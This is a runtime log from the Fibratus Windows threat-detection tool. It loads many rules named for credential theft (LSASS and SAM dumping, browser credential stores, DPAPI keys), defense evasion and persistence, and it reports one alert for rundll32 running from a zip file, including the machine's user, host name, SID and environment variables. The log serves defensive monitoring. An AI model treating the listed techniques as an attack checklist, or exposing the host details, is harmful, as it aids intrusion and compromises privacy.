C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T15:29:07+01:00 level=info msg=bootstrapping with pid 8376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T15:29:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-vamap=>true buffer-size=>512 stack-enrichment=>true enable-handle=>false min-buffers=>16 enable-mem=>false enable-threadpool=>false enable-dns=>false enable-image=>true enable-registry=>true max-buffers=>36 flush-interval=>1s enable-fileio=>true enable-thread=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 formatter=>text level=>info max-size=>100] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] timeout=>5s template-name=>fibratus enabled=>false gzip-compression=>false healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s trace-log=>false flush-period=>1s sniff=>false] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json timeout=>5s enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] amqp=>[ timeout=>5s vhost=>/ routing-key=>fibratus passive=>false exchange-type=>topic url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false durable=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false skip-allocs=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T15:29:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:29:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:29:23+01:00 level=info msg=sending alert: [Process execution from compressed file via explorer]. Text: Event(s): + Seq: 3349726 + Pid: 4496 + Tid: 15468 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 15:29:18.9469898 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\1b078609-d1a7-46d2-b48a-3f2f4eda8ad2_rundll32.zip.ad2\rundll32.exe" , directory_table_base➜ 406104000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\1b078609-d1a7-46d2-b48a-3f2f4eda8ad2_rundll32.zip.ad2\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506f33e70c0, name➜ rundll32.exe, pid➜ 7456, ppid➜ 4496, real_ppid➜ 4496, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 15:29:18.9469898 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1762957767536926696, rule.name: Process execution from compressed file via explorer, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 4496 + Ppid: 7852 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T15:29:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T15:29:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:29:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:35:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:35:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 